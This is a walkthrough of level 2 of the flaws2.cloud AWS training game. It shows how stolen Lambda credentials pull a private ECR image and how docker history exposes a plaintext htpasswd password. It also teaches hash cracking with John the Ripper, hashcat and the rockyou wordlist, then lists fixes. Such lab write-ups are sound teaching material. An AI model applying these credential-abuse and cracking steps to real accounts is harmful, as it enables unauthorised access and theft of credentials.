Skip to content

flaws2.cloud — Attacker Path — Level 2

Vulnerability: Public ECR image with secrets baked into Docker layer history → plaintext credentials visible via docker history


Level 1 Recap — Three Lessons

Before jumping in, the official level 1 lessons are worth embedding properly:

1. Lambda credentials come from environment variables, not the metadata service. EC2 uses 169.254.169.254. Lambda uses injected env vars (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN). Dumping process.env in an error handler exposes them to anyone who can trigger the error.

2. Least Privilege — for real. The Lambda role had s3:ListBucket on a bucket it never needed to access. Permissions that aren't actively used for the function's purpose are attack surface. Use AWS Access Advisor or CloudTrail to identify unused permissions and strip them.

3. Never assume validation happened upstream. Serverless architectures chain many components: client → API Gateway → Lambda → downstream services. Each piece may assume something earlier in the chain already validated the input. Don't. Validate at every layer that cares about correctness.


The Setup

The target is a containerised web app running at http://container.target.flaws2.cloud/. It's protected by HTTP basic auth. The hint says the ECR repo is named level2.

The attack: use the level 1 credentials to pull the container image from ECR, inspect it, and extract the credentials baked into the image.


Core Concepts First


What is Docker?

Docker is a containerisation platform. A container is a lightweight, isolated process that packages an application and all its dependencies (libraries, runtime, config files) into a single portable unit. Containers run the same way regardless of what machine they're on.

Container vs VM:

VM Container
Isolation Full OS per VM Shared OS kernel, isolated process
Size GBs MBs
Startup time Minutes Seconds
What it contains Full OS + app App + libraries only

Think of it this way: a VM is like a full apartment (its own electricity, plumbing, walls). A container is like a room in a shared apartment — its own space but shares the building's infrastructure.

Docker image — a read-only template. Like a blueprint or a snapshot. Immutable. Can be stored in a registry (ECR, Docker Hub).

Docker container — a running instance of an image. You run an image, you get a container. Like a process vs a program.

Docker layers — images are built in layers. Each RUN, COPY, ADD instruction in a Dockerfile creates a new layer. Layers are stacked. This matters for security because every command ever run to build the image is preserved in the layer history.


What is ECR?

ECR = Elastic Container Registry. AWS's managed private Docker image registry. Think of it as Docker Hub but inside your AWS account — authenticated, private, integrated with IAM.

ECR structure: - One registry per AWS account, identified by account ID - Multiple repositories within the registry (one per app/service) - Multiple images within each repository, identified by tag (latest, v1.2, etc.)

ECR URL format — always:

ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/REPO_NAME:TAG

For this level:

653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

You had all the pieces: | Piece | Value | Source | |---|---|---| | Account ID | 653711331788 | sts get-caller-identity from level 1 | | Region | us-east-1 | Known throughout | | Repo name | level2 | Given in the hint | | Tag | latest | Standard default, always try first |

ECR registry ID = AWS account ID. Every AWS account has exactly one ECR registry. Its identifier is the account's 12-digit ID. This is why --registry-id 653711331788 in the describe command means "look in this account's ECR".


Step 1 — Enumerate ECR Repositories

aws ecr describe-repositories --region us-east-1 --profile flaws2-level1

# Or explicitly target the account:
aws ecr describe-repositories --registry-id 653711331788 --region us-east-1 --profile flaws2-level1

Breakdown:

Part What it does
aws ecr describe-repositories List all repositories in the registry
--registry-id 653711331788 Explicitly specify which account's registry to query. Without this it defaults to your own account's registry — which is wrong here since you're using stolen creds for someone else's account
--region us-east-1 ECR is regional — must specify the correct region
--profile flaws2-level1 Use the stolen Lambda credentials

Returns the level2 repo with its URI: 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2.


Step 2 — Authenticate Docker to ECR

ECR is a private registry. Before you can pull images, Docker needs to authenticate against it. AWS doesn't use static passwords for ECR — it exchanges your IAM credentials for a short-lived Docker registry token.

aws ecr get-login-password --region us-east-1 --profile flaws2-level1 \
  | docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com

Breaking this down piece by piece:

aws ecr get-login-password: - Calls the ECR API using your IAM credentials - Returns a temporary Docker authentication token (valid for 12 hours) - Outputs it as plain text to stdout

| (pipe): - Takes the stdout of the left command and feeds it as stdin to the right command - So the token becomes the input for docker login

docker login --username AWS --password-stdin <registry-url>:

Part What it does
docker login Authenticate Docker to a registry so subsequent pull/push commands work
--username AWS The username for ECR authentication. Always literally AWS — hardcoded by AWS, not your IAM username
--password-stdin Read the password from stdin instead of prompting interactively. Avoids the password showing in shell history
653711331788.dkr.ecr.us-east-1.amazonaws.com The registry URL — which registry you're logging into

The full flow:

Your IAM credentials (in AWS profile)
aws ecr get-login-password  →  generates short-lived Docker token
    ↓ (piped via |)
docker login reads token from stdin as the password
Docker stores auth token in ~/.docker/config.json
Subsequent docker pull/push commands against this registry are authenticated

Why a temporary token instead of a password? Consistent with AWS's "everything is temporary" security model. The same principle as Lambda's AWS_SESSION_TOKEN and EC2's metadata-issued credentials. Your IAM identity is the source of truth — everything else derives from it with a time limit.


Step 3 — Pull the Image

docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

Breakdown:

Part What it does
docker pull Download an image from a registry to your local machine
653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest Full image reference: registry/repo:tag

Docker downloads all the image layers and stores them locally. Now you have the image and can inspect it without network access.


Step 4 — Inspect the Image History

docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

What docker history shows:

Every command that was run to build the image, in reverse order (newest first). Each line is a layer. This is the build history — every RUN, COPY, ENV, ADD from the Dockerfile.

Output (truncated):

IMAGE         CREATED        CREATED BY                                     SIZE
<layer>       7 years ago    /bin/sh -c htpasswd -b -c /etc/nginx/.htpass…  0B
...

Notice the truncation () — the command is cut off. This is the default behaviour.

docker history --no-trunc 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

--no-trunc — show the full command without truncation. Full output:

7 years ago   /bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

There it is: plaintext credentials in the image build history. - Username: flaws2 - Password: secret_password


Why Docker History Exposes Secrets

What is htpasswd?

htpasswd is a utility for managing HTTP basic auth password files (used by nginx, Apache). It hashes passwords and stores them in a file (.htpasswd).

/etc/nginx/.htpasswd  ← the password file

Contents look like:

flaws2:$apr1$jJh7fsij$wJV.a0WR6hAZ51/r11myl/

Format: username:hashed_password

The -b flag is the problem:

htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password
Flag What it does
-b "Batch mode" — take the password directly from the command line argument, not interactively
-c Create the file (overwrite if exists)
/etc/nginx/.htpasswd Output file
flaws2 Username
secret_password The plaintext password, on the command line

Why -b is dangerous: The password is on the command line. Command line arguments are: - Visible in ps aux output while the process runs - Stored in shell history (~/.bash_history) - Permanently stored in docker history as part of the layer metadata

Even though the .htpasswd file only stores the hash, the RUN command that created it is stored forever in the image. Every layer's creation command is baked into the image manifest. You can't remove it without rebuilding the image from scratch.

The hash (for reference):

$apr1$jJh7fsij$wJV.a0WR6hAZ51/r11myl/

$apr1$ = Apache's MD5-based crypt hash (APR1-MD5). Format:

$apr1$<salt>$<hash>

This hash is crackable, but in this case you don't need to crack it because the plaintext is already in the image history.


Password Cracking (for when history doesn't help)

If the history had been clean and you only had the hash, this is how you'd crack it.

John the Ripper

# Save the hash to a file
echo '$apr1$jJh7fsij$wJV.a0WR6hAZ51/r11myl/' > hash.txt

# Crack with a wordlist
john --wordlist=~/rockyou.txt hash.txt

John the Ripper is a password cracking tool. It takes a hash file, tries every word in the wordlist, hashes each one, and checks if the result matches. When it finds a match, the plaintext is the password.

Install on Mac:

brew install john-jumbo

john-jumbo is the community-enhanced version with support for hundreds of hash formats (standard john only handles a subset).

hashcat

hashcat -m 1600 '$apr1$jJh7fsij$wJV.a0WR6hAZ51/r11myl/' ~/rockyou.txt
Part What it does
hashcat GPU-accelerated password cracking tool. Much faster than John on large wordlists
-m 1600 Hash type: Apache $apr1$ MD5 format. Every hash format has a number
'$apr1$...' The hash to crack (in single quotes to prevent shell interpretation of $)
~/rockyou.txt The wordlist

Install on Mac:

brew install hashcat

Common hashcat mode numbers:

Mode Hash type
0 MD5
100 SHA1
1000 NTLM (Windows)
1600 Apache $apr1$ MD5
1800 SHA-512 Unix ($6$)
3200 bcrypt ($2*$)
5600 NetNTLMv2
13100 Kerberos TGS-REP (AS-REP roasting)

rockyou.txt — What it is

rockyou.txt is a wordlist of ~14 million real passwords leaked in the 2009 RockYou data breach. It's the standard starting wordlist for password cracking because: - Real passwords people actually chose — not random strings - Covers the overwhelming majority of weak/common passwords - Small enough to run quickly (134MB)

Download it:

curl -L https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt -o ~/rockyou.txt

Or on Kali/Parrot Linux it's at /usr/share/wordlists/rockyou.txt.

Why secret_password wouldn't be in rockyou

Wordlists contain actual leaked passwords. secret_password with an underscore is a constructed, artificial password — not the kind of thing a real user chooses. Real breach passwords look like iloveyou, password123, dragons, qwerty, 123456789.

A rules-based attack might find it — rules can append numbers, substitute characters, combine words with separators:

john --wordlist=~/rockyou.txt --rules hash.txt
Rules like "take a word, add _password" might generate secret_password. But straight dictionary won't hit it.


Step 5 — Explore the Container Interactively

docker run -it 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest /bin/sh

Breakdown:

Part What it does
docker run Create and start a container from an image
-i Interactive — keep stdin open
-t Allocate a pseudo-TTY (terminal). Makes it behave like a normal shell session
-it Always combine these for interactive shells
level2:latest The image to run
/bin/sh The command to run inside the container instead of the default. Gives you a shell

This drops you into a shell inside the container. You can poke around the filesystem, check config files, read source code, look for more credentials. LAMBDA_TASK_ROOT: /var/task for Lambda containers. For nginx containers it's typically:

/etc/nginx/           # nginx config
/var/www/html/        # web content
/etc/nginx/.htpasswd  # password file


The Full Attack Chain

Level 1 stolen Lambda credentials (flaws2-level1 profile)
aws ecr describe-repositories --registry-id 653711331788
    → finds repo: level2
aws ecr get-login-password | docker login
    → authenticates Docker to ECR using IAM credentials
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
    → downloads image locally
docker history --no-trunc <image>
    → shows every build command in full
    → /bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password
Browse to http://container.target.flaws2.cloud/
    → basic auth prompt
    → login: flaws2 / secret_password
    → level complete

Vulnerability Summary

The flaw: Credentials passed on the command line during Docker image build. docker history preserves every build command permanently — including plaintext secrets.

Why this is common: Developers building Docker images need to configure things (set passwords, write config files, install credentials). The path of least resistance is to pass values as command-line arguments or environment variables in RUN commands. Both are permanently visible in the image history.

The additional flaw: The ECR image was readable by the stolen Lambda role. The Lambda role had ecr:GetAuthorizationToken, ecr:BatchGetImage, and ecr:GetDownloadUrlForLayer permissions — more than it needed.

The fix: - Never pass secrets as command-line arguments in RUN commands — they end up in layer history forever - Use Docker BuildKit's secret mount feature: RUN --mount=type=secret — secrets are available during build but not stored in layers - Alternatively: don't bake credentials into the image at all. Pass them at runtime via environment variables, AWS Secrets Manager, or a secrets manager - Scope ECR permissions tightly — a Lambda function shouldn't have permission to pull arbitrary images from ECR unless it specifically needs to - Audit images with docker history --no-trunc before pushing to any registry

What docker history reveals — always check: - RUN htpasswd -b ... — plaintext passwords - RUN curl ... -u user:pass ... — credentials in curl commands - ENV SECRET_KEY=... — hardcoded environment variables - RUN echo "password" > /etc/... — secrets written to files via echo - ADD credentials /root/.aws/ — credentials files copied in (the file content won't show but you can extract the layer)